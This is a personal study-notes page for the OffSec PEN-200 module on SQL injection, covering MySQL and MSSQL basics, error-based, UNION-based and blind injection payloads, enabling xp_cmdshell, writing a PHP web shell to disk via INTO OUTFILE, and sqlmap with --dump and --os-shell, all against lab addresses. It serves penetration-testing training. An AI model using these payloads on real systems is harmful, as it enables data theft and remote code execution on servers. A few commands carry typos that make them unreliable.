Tree's Notes
  • Overview
  • Tools & Cheatsheets
  • Hacking Methodology
  • Hands-on Practice
  • Linux
    • Linux Basics
  • Windows
    • Windows Basics
  • MacOS
    • MacOS Basics
  • Web
    • Web Basics
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Template
  • Courses
    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
Powered by GitBook
On this page
  • SQL Theory and Databases
  • SQL Theory Refresher
  • DB Types and Characteristics
  • Manual SQL Exploitation
  • Identifying SQLi via Error-based Payloads
  • UNION-based Payloads
  • Blind SQL Injections
  • Manual and Automated Code Execution
  • Manual Code Execution
  • Automating the Attack
Edit on GitHub
  1. Courses
  2. OffSec
  3. PEN-200

Module 10: SQL Injection Attacks

SQL Theory and Databases

SQL Theory Refresher

Structured Query Language (SQL) was developed to manage and interact with data stored inside relational databases. It can query, insert, modify, delete data, and in some cases execute operating system commands.

SQL syntax, commands, and functions vary based on which relational database they're made for. MySQL, Microsoft SQL Server, and Oracle are the most popular database implementations.

The "i" inside the _mysqli_query_ stands for improved and should and if I was really not confused with the "i" in the SQLi vulnerability which stands for injection.

DB Types and Characteristics

MySQL

Connecting to the remote SQL instance, specifying root as the username and password, along with the default MySQL server port 3306.

Example: mysql -u root -p'root' -h 192.168.50.16 -P 3306

Note: If you're running into issues with self-signed certs, add the --ssl=0 option. The error I received when working through the material was ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

While inside the MySQL console shell, we can run various functions to retrieve additional information.

  • Retrieving the version of the SQL instance: select version(); or select @@version;

  • Verifying the current database user for the ongoing session: select system_user();

  • List databases: show databases;

  • List tables in the mysql database: show tables from mysql;

  • Selecting everything from the user table in the mysql database: SELECT * FORM mysql.user;

To improve security, user passwords are stored in the authentication_string field as a Caching-SHA-256 algorithm.

MSSQL MSSQL is a database managemetn system that natively integrates into the Windows ecosystem.

Windows has a build-in CLI tool named SQLCMD, which allows SQL queries to be run through the Windows command prompt or remotely from another machine. Kali includes Impacket, a Python framework which enables network protocol interactions. It supports Tabular Data Stream (TDS), the protocol adopted by MSSQL that is implemented in the impacket-mssqlclient tool.

We can run impacket-mssqlclient to connect to the remote Windows machine running MSSQL. Using -windows-auth forces NTLM authentication rather than Kerberos. Example: impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

Once inside the MSSQL console shell, we can run various functions similar to the previously noted MySQL commands.

When using a SQL Server CLI tool like sqlcmd, we must submit the SQL statement with a semicolon followed by GO on a separate line. However, running remote commands allows us to omit the GO statement as it's not part of the MSSQL TDS protocol.
  • Verifying the version: SELECT @@version;

  • List databases: SELECT name FROM sys.databases; master, tempdb, model, and msdb are default databases.

  • Querying tables in the offsec database: SELECT * FROM offsec.information_schema.tables;

  • Selecting all records from the users table under the table_schema dbo in the offsec database: SELECT * FROM offsec.dbo.users;

Manual SQL Exploitation

Identifying SQLi via Error-based Payloads

In manual testing, we can try closing a quote and adding an OR 1-1 statement followed by a -- comment separate and two forward slashes (//) to prematurely terminate teh SQL statement. This syntax requires two consecutive dashes followed by at least one whitespace character. The example utilizes two slashes to provide visibility on the payload and add some protection against any kind of whitespace truncation employed. Example: offsec' OR 1=1 -- // The SQL query in this example will then result in the following backend SQL statement: SELECT * FROM users WHERE user_name= 'offsec' OR 1=1 --

A quick and simple test for SQLi is to submit a single quote ' to see how the web application behaves. Note: Most production-level web applications won't show errors because revealing SQL debugging information is considered a security flaw.

If we know a SQLi is available, we can inject an arbitrary second statement as well. Example: ' or 1=1 in (select @@version) -- //'

UNION-based Payloads

Whenever dealing with in-band SQLi where the result of the query is displayed along with the applciation-returend value, we should also test for UNION-based SQL injections.

The UNION statements assists exploitation because it enables the execution of another SELECT statement, providing the results in the same query.

For a UNION SQLi to work, it has two requirements:

  1. The injection UNION query has to include the same number of columns as the original query.

  2. The data types must be compatible between each column.

To determine how many columns, we can submit the command ' ORDER BY 1-- //', incrementing the order until we receive an error which lets us know that numbered column does not exist. As an example, if the table has 5 columns, we can execute: %' UNION SELECT database(), user(), @@version, null, null -- // This resulted, in the material with displaying the result of user and version, but not database. Likely because the first column is typically reserved for the ID field consisting of integer data type values, meaning a string cannot be returned for database(). With this in mind, let's re-order the request, ensuring the queries we know will return string, are "lined up" with the original select statement's columns. Example: 'UNION SELECT null, null, database(), user(), @@version -- //

To expand on this, let's grab the columns table from the information_schema database belonging to the current database, storing the output in the second, third, and fourth columns. Example: ' UNION SELECT null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //

Blind SQL Injections

A blind SQLi describes scenarios where database responses are never returned and behavior is inferred using boolean- or time-based logic. Example time-based SQLi: http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3), 'false') -- // In the above case, if the user offsec does exist then the browser will hang for about three seconds, if not then it will immediately return.

Manual and Automated Code Execution

Manual Code Execution

In Microsoft SQL Server, the xp_cmdshell function takes a string and passes it to a command shell for execution. This function is disabled by default, and once enabled, must be called with the EXECUTE keyword rather than SELECT. To enable it, execute the following commands in a MSSQL shell:

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

It can now be used like so: EXECUTE xp_cmdshell 'whoami';

Using a UNION-based payload, we can write a webshell into a file on disk. Example: ' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // Running into the error regarding the value type not matching (column 1 being an integer for example) isn't an issue that affect writing to disk. The above code should still write the webshell to the location written.

Automating the Attack

There are several tools to automate SQLi. One very popular tool is sqlmap. Example usage of sqlmap: sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

Switch
Explanation

-u

specify the URL to scan

-p

specify the parameter to test

--dump

dump the entire database

--os-shell

provide a full interactive shell

Because Blind SQLi can take so long, it can be useful to download the post/get request from burpsuite then providing it to sqlmap to automate this rather then doing it yourself.

PreviousModule 9: Common Web Application AttacksNextModule 11: Client-side Attacks

Last updated 8 months ago

🐲